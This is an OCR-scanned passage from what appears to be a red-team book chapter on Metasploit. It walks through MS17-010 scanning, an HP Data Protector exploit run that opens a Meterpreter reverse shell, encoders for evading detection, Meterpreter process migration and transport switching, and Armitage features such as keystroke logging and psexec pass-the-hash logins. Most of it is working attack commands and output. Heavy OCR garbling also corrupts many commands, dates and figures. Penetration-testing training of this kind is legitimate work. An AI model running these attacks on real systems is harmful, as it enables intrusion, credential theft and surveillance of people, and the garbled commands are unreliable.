set the value of ruosrs by using the following command:

| set RHOSTS <IP HERE>

We then run the auxiliary and this will show us whether the system is vulnerable to
Eternal Blue and Eternal Romance, as well as whether it is already backdoored:

msf auxiliary(scanner/smb/smb_msl7_B818) > run

[+] 172.29.64.115:445 - Host is 1likely VULMERABLE to M517-818! - Windows Server 2808 R2 Standard 7608 x64 (E64-bit)
172.29.64.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: Bx5BBB3771

[#] Scanned 1 of 1 hosts (18@% complete)

[+] Auxiliary module execution completed
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Exploits

When Metasploit starts up, it shows the count of the publicly available exploits that are
already available in the framework An exploit can be considered as the piece of code
that takes advantage of a vulnerability and gives us the desired output.

To view all the available exploits, we use the following command:

|show exploits

msf = show exploits

Exploits

MName Disclosure Date Rank
aix/local/ibstat_path 2813-89-24 excellent
aix/rpc_cmsd_opcode2l 2BB8-18-87 great
aix/rpc_ttdbserverd_realpath 2800-26-17 great
android/adb/adb_server_exec 2816-21-81 excellent
android/browser/samsung_knox_smdm_url 2814-11-12 excellent
android/browser/stagefright_mpd4_tx3g_64bit 2815-p8-13 normal
android/browser/webview_addjavascriptinterface 2812-12-21 excellent
android/fileformatsadobe_reader_pdf_js_interface 2814-p4-13 good
android/local/futex_requeue 2814-85-83 excellent
android/local/put_user_vroot 2B813-p0-B6 excellent
apple_ios/browser/safari_libtiff ZBRE-RE-BL good
apple_ios/browser/webkit_trident 2B16-RB-25 manual
apple_ios/Semail/mobilemail_Llibtiff 2BRE-2B-21 good
apple_ios/ssh/cydia_default_ssh 2BBT7-a7-B2 excellent
bsdifsoftcart/mercantec_softcart 2804-AE-10 great
dialup/multi/login/manyargs 2801-12-12 good
Tirefox/local/exec_shellcode 2814-83-18@ excellent
freebsd/fTtp/proftp_telnet_iac 281p-11-81 great
freebsd/http/watchguard_cmd_exec 2815-26-29 excellent
freebsd/local/mmap 2813-26-18B great
Tfreebsd/local/watchguard_Tix_corrupt_mail 2815-86-29 manual
freebsd/misc/citrix_netscaler_soap_bof 2814-p0-22 normal
freebsd/sambastransZopen 2BR3-4-87 great
freebsd/tacacs/xtacacsd_report ZBRE-R1-BB average
Treebsd/telnet/telnet_encrypt_keyid 2811-12-23 great

The preceding command will show a list of all the available exploits in the Metasploit
Framework, along with path, disclosure date, its ranking, and even description. Using
the exploit is similar to using an auxiliary. Let's look at an example of an RCE exploit
that was found on the HP Data Protector.

Metasploit allows us to search the modules as well, using the following command:

|search < module name>
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5f = search hp_data

Matching Modules

Name Disclosure Date Rank
auxiliary/admin/hp/hp_data_protector_cmd 2011-82-87 normal
auxiliary/dos/hp/data_protector_rds 2B11-A1-08 normal
exploit/linux/misc/hp_data_protector_cmd_exec 2011-82-87 excellent
exploit/multi/misc/hp_data_protector_exec_integutil 2014-10-82 great
exploit/windows/misc/hp_dataprotector_cmd_exec 2014-11-@2 excellant
exploit/windows/misc/hp_dataprotector_crs 2013-B6-83 normal
exploit/windows/misc/hp_dataprotector_dtbclslogin 2B1A-po-Ag normal
exploit/windows/misc/hp_dataprotector_encrypted_comms 2816-04-18 normal
exploit/windows/misc/hp_dataprotector_exec_bar 2014-p1-82 excellent
exploit/windows/misc/hp_dataprotector_install_service 2811-11-82 excellent
exploit/windows/misc/hp_dataprotector_new_folder 2012-83-12 normal
exploit/windows/misc/hp_dataprotector_ftraversal 2014-A1-82 great
exploit/windows/misc/hp_omniinet_3 2011-86-20 great
exploit/windows/misc/hp_omniinet_4 ZB11-AR-29 good

msf >

To use one of the modules, we type the following:

|use exploit/windows/misc/hp_dataprotector_cmd exec

msf > use exploit/windows/misc/hp_dataprotector_cmd_exec
Once the exploit is loaded, we see the following options:

msf exploit({windows/misc/hp_dataprotector cmd_exec) > show options

Module options (exploit/windows/misc/hp_dataprotector_cmd_exec):

MName Current Setting Required Description

FILE_NAME no DLL File name to share

RHOST yes The target address

RPORT 5555 YES The target port (TCP)

SHARE no Share (Default Random)

SMB_DELAY 15 yes Time that the SMB Server will wait for the
SRVHOST B.6.08.0 yes The local host to listen on. This must be

SRVPORT 445 yes The local port to listen on.
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We set the IP of the ruost using the se: command:

| set RHOST <IP Here>

And then we run it;

msf exploit{windows/misc/hp_dataprotecter_cmd_exec) = run

[#] Started reverse TCP handler on 172.27.192.3:4444

[*] 172.27.188.49:5555% - Server started.

[#] 172.27.1@8.49:5555 — File available on “\\172.27.192.3\wslUa\LWGok.d11...

[#] 172.27.180.49:5555 - Trying to execute remote DLL...

[*] Sending stage (179779 bytes) to 172.27.188.49

[*] Meterpreter session 1 opened (172.27.192.3:4444 —» 172.27.100.49;:57518) at 2
218-86-25 @1:56:18 +@530

[#] 172.27.100.49:5555 - Server stopped.

meterpreter = D
Running this exploit requires Metasploit to be run as root, as port 445 is considered a privileged port to
which this exploit is bound.
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Payloads

A payload is a piece of code that is delivered to the target system or an application via
an exploit to perform an act of our choice. Payloads can actually be divided into three
main types: singles, stagers, and stages. These can be defined as follows:

e Singles: These payloads are standalone and are usually used to perform simple
tasks, such as opening notepad.exe, adding a user, and so on.

e Stagers: This sets up a connection between the two systems, and then stages are
downloaded by them to the victim's machine.

e Stages: These can be considered as a component of a payload, which provides
different features and does not need to have a size limit. An example of this is
Meterpreter.

As well as these, the other types of payloads are as follows:

e Inline (non-staged): This is a single exploit containing the full shellcode to
perform a specific task.

e Stager: This works along with stage payloads to perform a specific task. The
stager establishes a communication channel between the attacker and the victim
and sends a stage payload to execute on the remote host.

e Meterpreter: This operates through DLL injection, is loaded in the memory, and
leaves no traces on HDD.

e PassiveX: This uses ActiveX control to create a hidden instance of Internet
Explorer. Using this, it communicates with the attacker via HTTP requests and
responses.

e NoNX: This is used to bypass DEP protection.

e Ord: These are extremely small sized payloads that work on all versions of
Windows. However, they are unstable and rely on ws2 32.411 to be loaded in the
exploitation process.

e IPv6: This is built to work on IPv6 hosts.

e Reflective DLL injection: This was created by Stephen Fewer, and is a technique
that consists of a stage payload being injected into a compromised host process
running in-memory and never touching the host hard drive.

To view a complete list of payloads, we can use the show payicass command:
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msf = show payloads

Payloads

MName

aix/ppc/shell_bind_tcp
aix/ppc/shell_find_port
aix/ppc/shell_interact
aix/ppc/shell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/meterpreter_reverse_http
android/meterpreter_reverse_https
android/meterpreter_reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp
apple_ios/faarchBd/meterpreter_reverse_http
apple_ios/faarchBd4/meterpreter_reverse_https
apple_ios/faarchbd/meterpreter_reverse_tcp
apple_ios/aarchbd4/shell_reverse_tcp
bsd/sparc/shell_bind_tcp
bsd/sparc/shell_reverse_tcp
bsd/xB4/exec
bsd/xB4/shell_bind_ipvb_tcp
bsd/x64/shell_bind_tcp
bsd/xB4/shell_bind_tcp_small
bsd/x64/shell_reverse_ipvh_tcp
bsd/xB4/shell_reverse_tcp
bsd/x64/shell_reverse_tcp_small
bsd/xBE/exec
bsd/xBE/metsvc_bind_tcp
bsd/xB6/metsvc_reverse_tcp
bsd/xB6/shell/bind_ipvE_tcp
bsd/xB6/shell/bind_tcp
bsd/xB6/shell/find_tag
bsd/xB6/shell/reverse_ipvb_tcp

Disclosure Date

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

Description

AIX Command Shell, Bind TCP Inline

ATIX Command Shell, Find Port Inline

AIX execve Shell for inetd

AIX Command Shell, Reverse TCP Inline

Android Meterpreter, Android Rewverse HTTP Stager
Android Meterpreter, Android Rewverse HTTPS Stager
Android Meterpreter, Android Rewverse TCP Stager
Android Meterpreter Shell, Reverse HTTP Inline
Android Meterpreter Shell, Reverse HTTPS Inline
Android Meterpreter Shell, Reverse TCP Inline
Command 5hell, Android Reverse HTTP Stager
Command Shell, Android Reverse HTTPS Stager
Command Shell, Android Reverse TCP Stager
Apple_i05 Meterpreter, Reverse HTTP Inline
Apple_i05 Meterpreter, Reverse HTTPS Inline
Apple_i0S5 Meterpreter, Reverse TCP Inline

Apple 105 aarched4 Command Shell, Reverse TCP Inline
BSD Command Shell, Bind TCP Inline

BSD Command Shell, Reverse TCP Inline

BSD x64 Execute Command

BSD x64 Command Shell, Bind TCP Inline (IPv6G)
BSD x64 Shell Bind TCP

BSD x64 Command Shell, Bind TCP Inline

BSD x64 Command Shell, Reverse TCP Inline (IPvE)
B5D xb4 Shell Reverse TCP

BSD x64 Command Shell, Reverse TCP Inline

B50 Execute Command

FreeBSD Meterpreter Service, Bind TCP

FreeBSD Meterpreter Service, Reverse TCP Inline
BSD Command Shell, Bind TCP Stager (IPw6)

BSD Command Shell, Bind TCP Stager

BSD Command Shell, Find Tag Stager

BSD Command Shell, Reverse TCP Stager (IPv6)

From the preceding command, we can see that we have different kinds of payloads for
all platforms. The most commonly used of these is as follows:

| meterpreter/reverse_tcp .

However, in a red-team activity, this payload is not recommended. We will read more

about this in further chapters.
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Encoders

Encoders are used to avoid detection of a payload when it gets delivered to the target
system or application. To view a list of encoders in Metasploit, we can use the
following command:

|Show encoders
msf = show encoders

Encoders
Mame Disclosure Date Rank Description
cmd/echao good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variabl
cmd/ifs Low Generic %${IFS} Substit
cmdSperl normal Perl Command Encoder
cmd/powershell_baseb&d excellent Powershell Base&d4 Com
cmd/printf_php_mg manual printf{l) wia PHP mag
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi1i Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte X0ORi1i Encoder
mipsle/longxor normal X0R Encoder
phpfbasebd great PHP Basebd4 Encoder
ppc/ longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/basebd great Ruby Basebtd4 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encod
xbd/xor normal ¥0OR Encoder
¥Bdfzutto_dekiru manual Zutto Dekiru
¥BbSadd_sub manual Add/Sub Encoder
¥Be/alpha_mixed Low Alphaz Alphanumeric M
*B6/alpha_upper Low Alpha2 Alphanumeric U
¥BBSavold_underscore_tolower manual Avoid underscore/tolo

The most well-known encoder iS xsé/shikata ga nai. This is a polymorphic XOR additive
feedback encoder, which means that it generates a different output every time. It was the
hardest to detect when it first came out, and it is still pretty handy when used with
multiple iterations. However, iterations must be used carefully and always tested first as
they may not work as expected, and after every iteration the size of the payload
increases.

We will also look at some encoders in later chapters.
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Meterpreter

Meterpreter can be considered an advanced dynamic payload that uses in-memory.

The Dynamic Linked Library (DLL) injection stages at runtime. It also provides a
client-side Ruby API that makes it extremely powerful. There are various advantages of
using Meterpreter as a payload. Some of these are as follows:

e Itresides in the memory and nothing is written to the disk.

e No new process is created as it can easily be injected into any other running
processes of the system. However, there's a limitation to it. We can't inject multiple
Meterpreter payloads in the same process.

e By default, all communication done by Meterpreter is encrypted.

e New features can be added by uploading the DLL via a client that is loaded in-
memory and initialized.

In this section, we will cover the basics of Meterpreter. Once we get Meterpreter on a
system, the first command to look at is the ne1p command:

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

meterpreter = help

Core Commands

Command Description

T Help menu

background Backgrounds the current session

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays informatiom or control active channels
close Closes a channel

disable_unicode_encoding
enable_unicode_encoding
exit

get_timeouts

Disables encoding of unicode strings
Enables encoding of unicode strings
Terminate the meterpreter session

Get the current session timeout wvalues

guid Get the session GUID

help Help menu

info Displays informationm about a Post module

irb Drop into irb scripting mode

load Load one or more meterpreter extensions

machine_id Get the M5F ID of the machine attached to the session
migrate Migrate the server to another process

pivot Manage pivot listeners

guit Terminate the meterpreter session

read Reads data from a channel

resource Run the commands stored in a file

run Executes a meterpreter script or Post module

sessions Quickly switch to another session

set_timeouts Set the current session tTimeout values

sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism

use Deprecated alias for "load"

uuid Get the WUID for the current session

write Writes data to a channel

To get the current working directory, we can use the pwa command:

meterpreter > pwd

C:\Windows\system32
meterpreter =

To list all the files in the directory, we use the 1s command:
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If we want to exploit another system or perform any other action on msfconso1e Without
killing the current Meterpreter session, we can use the backgrounda command to put the
session in the background:

To see a list of all the Meterpreter sessions we have, we can use the sessions command:

meterpreter > 1s

Listing: C:\Windows‘\system32

Mode

ABTTT/ rws rwx rwx
1BREEE S rw—Fw—Fw—
1BREEE S rw—rw—rw—
1BBEEES rw—rw—rw—
188777/ rwx rwx rwx
1BREEE S rw—rw—Fw—
1BREEE S rw—rw—rw—
1BBEEES rw—rw—rw—
1BBEEE S rw—rw—rw—
1RBTTTF rwis Pwx rwx
1BREEE S rw—rw—rw—
ABTT T/ MWK PWE rwx
1BBEEE S rw—rw—rw—
1BREEE S rw—Mw—Fw—
1BREEE S rw—rw—rw—
1B 77 rwx rwxrwx
1BBEEE S rw—rw—rw—
1BBEEE S rw—Mw—Fw—
1BREEE S rw—rw—rw—
1BBEEES rw—rw—rw—

a
18288
18208
39424
24064
499712
TEQE@B
S49BBE
213584
48448
577024
4896
53248
312328
33792
35326
440832
206448
220672
75264

Type
dir
fil
fil
fil
fil
fil
fil
fil
fil
fil
fil
dir
fil
fil
fil
fil
fil
fil
fil
fil

Last modified

ZBR9-B7-14 11:87:
ZB18-B7-16 B2:33:
ZB18-87-16 B2:33:
ZBR9-B87-14 B6:54:
ZBR9-B7-14 B7:08:
ZB09-B7-14 @7:11:
ZB059-87-14 @7:18:
ZBR9-87-14 @7:18:
ZBR9-B7-14 B7:18:
ZBR9-B7-14 B7:08:
ZB059-87-14 @7:18:
ZBR9-87-14 BE:58:
ZBR9-B7-14 B7:18:
ZB09-B7-14 B7:18:
ZB059-87-14 @7:18:
ZBR9-87-14 @7:08:
ZBR9-B7-14 B7:18:
ZB09-B7-14 @7:18:
ZB059-87-14 B7:18:
ZBR9-87-14 @7:18:

meterpreter » background

[*] Backgrounding session 2...
msf exploit{windows/smb/ms17 818 eternalblue) =

msf exploit{windows/smb/msl7_810_eternalblue) = sessions

Active sessions

Id MName

2

Type

meterpreter xb6d/windows

Information

PT-PCVPT @ PT-PC

Connection

46
a3
a3
45
55
53
ag
ag
e
55
ag
11
a1
a1
a1
55
a4
a4
a4
a4

+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538
+B538

MName

BARG
JB206FBR-3T6EB-4
JB206FBR-3T76E-4
ACCTRES.d11
ARP.EXE
AUDIOKSE.d1L
ActionCenter.dl
ActionCenterCPL
ActionQueue.dll
AdapterTroublesl
AdmTmpl.dll
AdvancedInstall
AltTab.d11
AppIdPolicyEngi
Apphlpdm.dll
AtBroker.exe
AudioEng.dll
AudioSes.dll
AuditNativeSnap
AuditPolicyGPIn

192.168.2.16:4444 —= 102.168.2.14:4921@ (192.168.2.14)

To interact with a Meterpreter session, we can Use€ sessions -i <id>.

To kill all sessions, we can use sessions -k.

Similarly, we can use sessions -c <commana> t0 €xecute a command across all sessions:
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msf exploit{windows/smb/ms17_@18_eternalblue)
Starting interaction with 2...

[*]

meterpreter =

> sessions -1 2

To list all the running processes on the system, we can use the s command:

meterpreter > ps

Process

2BEB
380
360
488
424
464
472
488
B8
636
696
788
772
B16
BBE
B96
1872
1192
1228
1356
1548
1656
2844
2852
2276
2416
2628
2624
266E
2708
2736
2864

Now we can view only x86 (32-bit) processes by typing the following command:

|ps -A x86

List

464
352
352
408
400
400
400
464
464
464
464
408
464
464
464
464
464
464
464
1088
464
BGE
1548
464
464
464
464
464
1548
464
580

Name

[System Process]
System

SM55.EXE
swvchost.exe
C5r55.EXe
wininit.exe
C5r55.BXE
services.
1lsass.exe
1sm. exe
swvchost.exe
VBoxService.exe
svchost.exe
svchost.exe
winlogon.exe
svchost.exe
svchost.exe
svchost.exe
swvchost.exe
spoolsv.exe
svchost.exe
svchost.exe
explorer.exe
taskhost.exe

dwm. exe
VBoxTray.exe
Searchlndexer.exe
wmpnetwk.exe
taskhost.exe
mcupdate.exe
svchost.exe
ehtray.exe
ehsched.exe
WmiPrv5E.exe

exe

Arch

x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64
x64
xbd
xEd
x64

Session

[ R e R R R S S S o R R R S o R R R R e o R R

To view only 64-bit processes, we can use this:

|ps -A x64

Using Meterpreter, we can also migrate it to another process using the migrate command.

User

NT AUTHORITY\SYSTEM
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\LOCAL SERVICE
PT-PC\PT

PT-PC\PT

PT-PC\PT

PT-PCA\PT

NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\LOCAL SERVICE
PT-PC\PT

NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
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When this command is run, Meterpreter first gets the PID from the user to which it has to
migrate, and then it checks the architecture of the process and sepebugrriviiege (used to get
a handle of the process). Next, it fetches the payload that will be injected to the process
and calls various windows APIs, such as openprocess (), virtualallocEx (), Wwritebrocess
—emory () aNd createremoternread (). Once migration is complete, Meterpreter shuts down
the previous thread that had the initial Meterpreter running. Although it sounds
complicated, Meterpreter can do all of this with the following simple command:

|migrate <Pid>
meterpreter = migrate 2276
[#] Migrating from 1192 to 2276...
[-] core_migrate: Operation failed: Access is denied.

meterpreter = migrate 2864
[#] Migrating from 1192 to 2Bb4...

[*] Migration completed successfully.
meterpreter =

Meterpreter also introduced transport control with the transpor: command, which allows
us to change the transport mechanism of a payload without killing the existing session.

Let's look at how to set up and change the transport of an existing Meterpreter. To view
the options, we can simply type the transport or transport -n command:

meterpreter = transport
Usage: transport =list|change|add|next|prev|remove> [options]

list: list the currently active transports.
add: add a new transport to the tramsport List.
change: same as add, but changes directly to the added entry.
next: jump to the mext tramsport im the list (no options).
prev: jump to the previous transport in the list (no options).
remove: remowve an existing, non—-active transport.

OPTIOMS:

We add transport by using the following command:

meterpreter > transport add -t reverse_http -1 172.27.192.54 —p 1234 -to 560 -rt 30080 -rw 5800

To list the available transports, we can use the following command:

transport list:

meterpreter > transport list
Session Expiry @ 2018-87-10 06:47:39

ID Curr URL Comms T/0 Retry Total Retry Wait

1 https://172.27.192.54:1234/0yalCySBt-1S35PeyeTGkgC81ZGLkM2GV4csxsVGsqmBAIIzhCPRSF6/ 300 3600 10
* tep://172.27.192.54:29644 300 3600 10

Then we start our exploit handler to whichever transport we want to switch to:

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

msf exploit( ) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit( ) > set lport 1234

lport => 1234
msf exploit( ) > run
|#]| Started HTTPS reverse handler on https://172.27.192.54:1234

Now we simply use the transport next command:

meterpreter > transport next
[#] Changing to next transport

And we will see we received a connection on our handler:

msf exploit( ) = run

+] Started HTTPS reverse handler on https://172.27.192.54:1234

<] https://172.27.192.54:1234 handling request from 172.27.102.70; (UUID: vxjldpvc) Attaching orphaned/stageless session...
<] Meterpreter session 2 opened (172.27.192.54:1234 —= 172.27.102.70:62137) at 2018-87-03 06:57:26 -0400

E
E
E

For more information, visit the following link:

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control
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Armitage and team server

We are all used to the console of nstconsore, Which 1s extremely powerful as it is.
However, let's make this even more efficient by using Armitage. This is a Java-based
GUI built around Metasploit, which first came out in 2013. Being built on Java makes it
cross-platform.

Armitage comes pre-installed in Kali and can easily be downloaded and installed.
Before we jump into setting up and using these tools, let's get an understanding of team
server and its purpose.

Team server allows us to manage our red-team activity in a single workspace. It acts as
a server that connects and communicates with Metasploit and multiple Armitage clients
can connect to it. This is handy when a team is doing a red-team activity, as all of the
members can have the Armitage client running on their system and can connect to a
single workspace in order to perform the activity. By default, team server is not
supported on Windows unless you have bash installed. It also does not come with the
default macOS DMG file. To run a team server on a macOS, we can download and
install the archived file for Linux instead of DMG. Since team server is only a bash
script and the archived file for Linux already has it, we can download and run it from
there.

After this, we need to set the path of our Metasploit's datavase.ym1 using the following
command:

| export MSF_DATABASE CONFIG=</path/to /.msf4/database.yml>

We can now run team server by browsing to the directory containing team server and
running the following command:

|Sudo -E ./teamserver <local IP> <password>
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MacBook-Air:armitage Himanshu% export MSF_DATABASE_CONFIG=/Users/Himanshu/.msfT4/database.yml
MacBook-Air:armitage Himanshu% sudo -E ./teamserver 182.168.2.16 hello@l23
[*] Generating X509 certificate and keystore (for S5L)

Warning:
The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS512 which is an
industry standard format using "keytool —-importkeystore —-srckeystore ./armitage.store —-destkeys
tore .farmitage.store —deststoretype pkcsl2".
[#] Starting RPC daemon
[#] MSGRPC starting on 127.@.8.1:55554 (N0 SSL):Msg...
[#] MSGRPC backgrounding at ZR18-87-16 B84:12:05 +8530...
[#] sleeping for 28s (to let msfrpcd initialize)
[#] Starting Armitage team server
[#] Use the following connectionm details to connect your clients:
Host: 192.16B.2.16
Port: 55553
User: msT
Pass: hello@l23

[#] Fingerprint {(check for this string when you connect):
4cb50dBacc41122cdab773a%d99b2e2eeebh0Td5E
[+] feel free to connect now, Armitage is ready fTor collaboration

Once team server is up and running, we can run the Armitage client and connect to our
team server using the credentials we set:

i) [ ] Connect...
Host 192.168.2.16
Port 55553

User msf

Pass #*#*#*##ﬂ

| Connect J | Help |

It will also ask us to set a nickname that will help Armitage users to identify each other
when they connect.

An Armitage window will now open up, giving us the beautiful GUI:
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® @ Armitage Armitage
Armitage View Hosts Attacks Workspaces Help

> [ﬁ‘ auxiliary

> [ﬁ' exploit q
> [i§ payload ’
» [ post

P

_[ Event Log X ‘

07/16 04:16:18 s+ himanshu joined
87/16 84:17:51 * himanshu cleared the database
87/16 04:17:55 * himanshu removed 26 hosts

himanshu=

On the left menu, we can view the module browser, which shows a list of all the
exploits, post modules, auxiliaries, and so on. We can either browse each folder by
clicking on it or we can search the desired module in the search bar:
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¥ (& auxiliary
¥ IE scanner d
¥ (& smb 4
5 smb_ms17_010
¥ (& exploit
¥ (& windows
¥ (& smb

E| msl7 010 eternalblue

ms[l7_010

To run a module, we double-click on the module we wish to run. A new window will
open up where we fill in the required details, such as ruosts, reorr, and so on. This is the
same as the show options command 1N msfconsole:
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@ & scanner/smb/smb_ms17_010
M517-010 SME RCE Detection

Uses information disclosure to determine if MS17-010 has been patched or not. 4
Specifically, it connects to the IPCS tree and attempts a transaction on FID 0. If the E
status returned is "STATUS_INSUFF_SERVER_RESOURCES", the machine does not have

tln RACT T N1N mstel I flin mmachina ic mmiccina flin RAICTT N1 0N marebl flin mmacdola saill

F . —

Option A | Value
CHECK_ARCH 1
CHECK_DOPU 1
RHOSTS

RPORT 445
SMEDomain

SMEPass 4

SMEUser +

THREADS 24

|| Show advanced options

| Launch |

Next, we click Launch and we will see that Armitage automatically calls the Metasploit
API, executes the commands, and runs the exploit for us:
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msf > use auxiliary/scanner/smb/smb_msl17_@1@
msf auxiliary( ) > set
RHOSTS == 18.168.1.3

msf auxiliary( ] > set
SMEBDomain => .

msf auxiliary( } > set
CHECK_ARCH => true

msf auxiliary( ) = set
THREADS => 24

msf auxiliary( )} = set
CHECK_DOPU => true

msf auxiliary( ) > set
RPORT => 445

msf auxiliary( } > run

RHOSTS 10.16.1.3
SMEDomain .
CHECK_ARCH true
THREADS 24
CHECK_DOPU true

RPORT 445

-]
[#] Auxiliary module running as background job 10.
[#] Scanned 1 of 1 hosts (100% complete)

The top menu has different options. Let's go through some of them:

&rm el View Hosts

Mew Connection

Preferences
5et Target View [
Set Exploit Rank >

SOCKS Proxy...
Listeners |
Scripts...

Close

e New Connection: This allows us to connect to different team servers in parallel.
e Preferences: We can set display preferences, color, and so on.
e Set Target View: This has two options: Table View or Graph View. These allow us

to view our added hosts in the desired manner.

The Table View looks like this:
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10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.1.
10.10.1.

[ B e I T e B B e e o T R e R I . T~ I “= R T R =]
n o [N w o ECEES w  ESE = U s K

TN ARG ANNGaan

The Graph View looks something like this:

o

s

18.19.1.38 18.10.1.3 18.18.1.389 18.18.1.252

e Socks Proxy: This allows us to configure a socks: proxy to use our external tools,
such as Nmap on the local network of a compromised server:
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@ SOCKS Proxy
Socks4a Proxy Server

This module provides a socks4a proxy server that uses the builtin Metasploit routing to
relay connections.

. [—

Option 4| Value
SRVHOST 0.0.0.0
SEVPORT 1080

| | Show advanced options

| Launch |

e Listeners: This is used to quickly start a listener on a port, which can either be
Bind or Reverse:

MNew Connection

Preferences
Set Target View |
Set Exploit Rank 2

SOCKS Proxy...

Bind (connect to)
Scripts...

Close Set LHOST...

Coming to the View tab, we see this:

PIETE Hosts  Attacks

Console
Event Log

Credentials
Downloads
labs

Loot

Script Console

Reporting >
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e Console: This allows us to access mstconso1e and run everything from the command
line.

e Event Log: This shows the logs of all the events happening on team server.

e Credentials: This shows us the credentials we extracted during the activity in one
place.

e Downloads: This option allows us to view all the files that were downloaded from
the target machines.

e Jobs: This shows the list of active jobs being performed on team server.

e Loot: This shows us whatever we looted from the target machines, including
domain hashes, SQL hashes, and so on.

e Script Console: This is used to run custom Cortana scripts that can be downloaded
from nttps://github. com/rsmudge/cortana-scripts. Cortana is a scripting language for both
Armitage and Cobalt Strike. The prebuilt scripts of Cortana can be loaded using
this console and can be run to perform various tasks, such as automatically running
automatic MSF Scans, logging out a user, auto discovery of new networks, and so
on.

e Reporting: This will open up the folders where the logs of Meterpreter sessions
are saved, and we can use it for further reporting processes.

Coming to the Hosts tab, we see this:

mgttacks Workspa

Import Hosts
Add Hosts...

Mmap 5can >
MSF 5cans...
DMS5 Enumerate

Clear Database

e Import Hosts: This allows us to import hosts from a previous Nmap scan, TXT,
and so on.

e Add Hosts: Through this, we can manually enter the IP/subnet and add hosts to our
target list.

e Nmap Scan: This is used to perform an Nmap scan on the added hosts. Multiple
types of Nmap scans can be performed, such as Ping Scan, Intense Scan, all TCP
Ports, Intense Scan UDP, and so on:
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Intense 5can
Intense 5can + UDP
Intense 5can, all TCP ports

M5F Scans...
DM5 Enumerate

Clear Database Intense 5can, no ping
«{__ | Ping5can
Cuick 5can

sScripts X Quick 5can (05 detect)

Comprehensive

e MSF Scans: This will use Metasploit modules, such as port scan and other
auxiliaries based on the output of the port scan. By default, MSF Scans use the
auxiliary/scanner/portscan/tcp module with a default list of ports to scan.
Furthermore, the number of threads 1s 24 by default, which is a lot when it comes to
scanning a compromised host network. Keep this number between 5-10; otherwise,
there's a huge possibility that your session will die.

e DNS Enumerate: This module is used to get information about a domain from the
DNS server by performing various DNS queries, such as zone transfers, reverse
lookups, SRV record brute forcing, and other techniques.

e Clear Database: This clears the existing database of the current workspace being
used, thereby deleting all the hosts in the target view and the data related to it.

Armitage allows a user to perform a lot of actions through the simple click of a button.
This saves time and is more convenient. Once we have a Meterpreter connection on our
hosts we can simply right-click on the compromised host and we will then see options
such as interaction with the Meterpreter, listing processes, migrating to a different
process, browsing a file, and so on, just by selecting and clicking on the desired option:

Meterpreter 2
Meterpreter 4
Services

Scan

ArCcess

Interact
Explore
Pivoting

Host ARP 5can...
Kill
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For example, if we want to log keystrokes, we can simply right-click on the host and go
to Access | Explore | Log Keystrokes. This will directly open a new window where we

will configure the module options. By clicking launch, we are then able to log
keystrokes:

T
-

- Meterpreter 2 ol Access 10.10.1.3
Meterpreter 4

Services
Scan

Interact

Browse Files
Show Processes
Log Keystrokes
Eill Screenshot
Webcam Shot

Pivoting

Host ARP 5can...

Post Modules

Upon clicking the options, a new window opens, as shown in the following screenshot:

& & Log Keystrokes

Windows Capture Keystroke Recorder

This module can be used to capture keystrokes. To capture keystrokes when the &
session is running as SYSTEM, the MIGRATE option must be enabled and the
CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID.

To capture the keystrokes of the interactive user, the Explorer option should be b
Option A | Value |
CAPTURE_TYPE explorer

INTERVAL 5

LOCKSCREEN 0

MIGRATE 1

PID

SESSION 2

ShowKeystrokes

|| Show advanced options

Launch

We will now go a step further and explore another exploit usage through Armitage. To
do this, we choose a host that has SMB running (Windows). We then right-click on the
host, at which point we should see a Login menu option. From here, we choose psexec
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(psn). This module uses a valid login and password to execute a payload based on
PowerShell. This payload is never written to disk:

eo0e Pass the Hash

1| pass

| host
10.15.2.125

administrator

@dministratOr

User administrator
Pass mdministratOr
Domain WORKCGROUP

|| Check all credentials

(/] Use reverse connection | Launch

Once we the module, we will see that we have a reverse connection on the machine just
by logging in.
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Metasploit with slack

In this section, we will learn about a module called sne11zercer. This plugin is used to
monitor all Metasploit/Meterpreter sessions. It was created with a basic idea in mind:
